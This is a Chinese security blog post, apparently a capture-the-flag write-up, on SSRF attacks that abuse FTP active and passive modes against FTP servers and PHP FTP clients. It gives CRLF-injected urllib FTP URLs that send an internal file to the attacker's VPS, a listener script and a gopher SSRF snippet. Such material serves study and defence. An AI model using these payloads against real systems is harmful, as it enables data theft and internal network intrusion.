针对FTP的SSRF攻击

前言

ssrf中常用的协议有httpgopher等。但http协议在ssrf中的用处也仅限于访问内网页面,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,在部分环境下支持此协议,如:curl。但还有一些环境就不支持了,如:urllib.request模块。

但最近的laravel框架的rce吸引了我的注意力。此上面提供的文章中,研究员在可使用的协议受到约束的条件下,选择使用ftp协议攻击php-fpm以达到rce。出于此,笔者决定探究ftp协议在ssrf中都有哪些应用。

ftp的两种模式

ftp协议是文件传输协议,其使用模式有两种:

  1. 主动模式

主动模式下,客户端向服务端发送连接请求命令PORT a,a,a,a,b,c,其中a是客户端ipv4的地址,bc记录了一个由客户端开放的端口(b×256)+c。随后服务端尝试连接客户端指定的地址。连接成功后,两者开始进行文件的传输。

但由于客户端由于防火墙等原因,导致服务端无法连接至客户端。为了解决这个问题,诞生了另一种模式。

  1. 被动模式

被动模式下,客户端向服务端发送连接请求命令PASV,随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).,告诉客户端连接对应的地址进行文件传输。

发现了吗?在上面的命令中a, b, c如果可以受到我们控制,不就可以达到ssrf的效果了吗?

对ftp server进行ssrf

在刚刚结束的starctf中,其中一题oh-my-bet便是用到了主动模式下的ftp进行ssrf,发送二进制数据至mongoDB更改数据库中数据。

以下是原题目中使用pyftpdlib模块搭建于内网中的ftp server

# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubug

server = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

ftp server,还有一个存在于内网的mongoDB,用于储存flask-sessionpickle序列化数据。以及一个内网mysql用于储存用户数据。最后是向公网开放的flask web server

原题目中存在一个参数可控的urllib.request.urlopen(value),且python版本3.6,存在crlf漏洞。

题目最后要求rce。唯一有可能的突破点,是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB的数据是不行的,会被mongoDB拒绝连接。gopher协议不被urllib.request.urlopen(value)支持。所以最终着眼于ftp协议。

本文为讲解ftpssrf中的应用,简化上面环境,假设ftp-server.py所在目录有以下文件。

先在urllib中连接尝试读取文件。

urllib在成功连接控制端口后,会发送url中的用户名与密码,因此可以在密码后crlf,注入其它命令。

以下代码会发送ftp-server.py文件至自己vps的2333端口。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()

既然都可以上传至自己vps上的指定端口,那么就可以将其改为内网的任意ip与端口。

ip可控,接下来就是如何控制内容了。

正常情况下,单凭urlopen是无法上传文件的,但因为存在crlf漏洞,我们可以轻易上传文件。

使用以下代码,可以告诉服务器:从自己vps的2333端口获取test文件,并保存。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()

这里可以简单写一个socket监听。

import socket

s = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()

c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

成功上传。

上面是对ftp server进行ssrf,但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack,是一种比较老旧的攻击方式,现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True,让这种攻击变为可能。

对ftp client进行ssrf

回到开头所说的laravel debug rce

根据原文,在模块中有以下抽象过的代码。

$data = file_get_contents($file);
file_put_contents($file, $data);

文章首先给出的方法是利用php伪协议清空log文件,然后写入phar数据,再使用phar协议达成反序列化。但还有一个方法,文章没有细说,就是使用ftp协议攻击php-fpm

那么具体思路如下:

  1. php从我们的ftp server获取payload,存入变量中。
  2. php上传文件时,将被动模式的连接地址改为php所在服务器的内网地址,上传payload攻击。

我们先看一看php的文件类函数是如何发送ftp请求的。

依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用:

php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'

查看ftp服务日志。(这里仅列出关键信息)

; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.

; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4

在这里,php先使用SIZE命令确认文件是否存在,然后使用了EPSV命令,这个命令含义是启用扩展被动模式。ftp server将指返回端口,但不返回ip。解决方法很简单,找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib模块的源码,使其返回500 'EPSV': command not understood.

综合上面信息,有两个难点:

  1. php获取和上传的是同一个文件,file_put_contents会检测文件是否已经存在,如果存在则不会进行上传操作。因此需要在php获取文件后的瞬间删除该文件。
  2. 一般ftp client都使用被动模式。php获取文件时,要求被动模式返回ftp server自己的地址。但php上传文件时,返回的却是php所在服务器的内网地址。

很明显,上面的问题套用一般的轮子很难解决。因为ftp协议本身的交互没有那么复杂。所以尝试做一个fake ftp server(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。

这里尝试将一个test字符串从外网,通过phpftp client发送至php所在服务器内网的2333端口。

效果如下:

总结

ftp可以在ssrf中起到作用,其原因便是PORTPASV两个命令导致的连接跳转。把握此点,便可使ftp在漏洞利用中大放异彩!

### SSRF漏洞概述 #### 定义 SSRF(Server-Side Request Forgery),即服务器端请求伪造,是一种由攻击者构造恶意请求并让服务器发起该请求的安全漏洞。这种攻击允许攻击者间接访问那些通常无法直接触及的内部网络资源或者外部受限接口。 #### 影响范围 常见的SSRF攻击不仅限于针对服务器本身,还包括其他后端系统。例如,当应用程序使用某些特定功能时可能会触发此类行为,从而导致敏感信息泄露或其他潜在危害[^1]。 #### 攻击原理 在典型的SSRF场景下,数据流动路径如下所示: - **流程**: 攻击者 -> 应用程序/网站 -> 内部服务或第三方API。 这意味着如果应用逻辑中存在可被操控的部分用于构建HTTP(S)调用,则可能成为发动SSRF攻击的目标位置之一。特别是PHP环境中的一些内置函数,在不恰当的应用情况下容易引发这类风险[^3]。 #### 利用方式 一种值得注意的技术手段涉及到了几乎已被淘汰但仍具有一定价值的老式互联网协议——Gopher。尽管它最初设计目的是为了文件传输目的而创建,但在现代Web安全领域里却找到了新的用途:作为扩展SSRF攻击面的有效工具。借助于此种方法能够实现对于多种不同类型的后台进程和服务实施远程控制操作,比如FTP、Telnet以及NoSQL数据库等非关系型存储解决方案;甚至还可以模拟标准web交互模式下的GET/POST请求过程来获取更多权限之外的信息[^2]。 ```python import requests def exploit_gopher_ssr(): url = 'http://example.com/vulnerable_endpoint?url=gopher://internal-service:port/path' response = requests.get(url) print(response.text) exploit_gopher_ssr() ``` #### 防护策略 为了避免遭受上述提到的各种形式的威胁,采取有效的预防措施至关重要。以下是几种推荐的做法: - 使用严格的白名单机制而非黑名单来进行输入验证; - 对任何来自用户的URL参数执行全面审查,并仅允许可信源址; - 实施严格的身份认证与授权检查以防止未授权访问; - 关闭不必要的网络连接选项,尤其是像gopher这样的古老协议支持; - 跟踪最新的CVE公告和技术文章保持警惕更新补丁状态。 通过以上介绍可以看出,理解SSRF的工作机理及其带来的后果是非常必要的,同时也应该积极寻找合适的防范对策减少受到侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值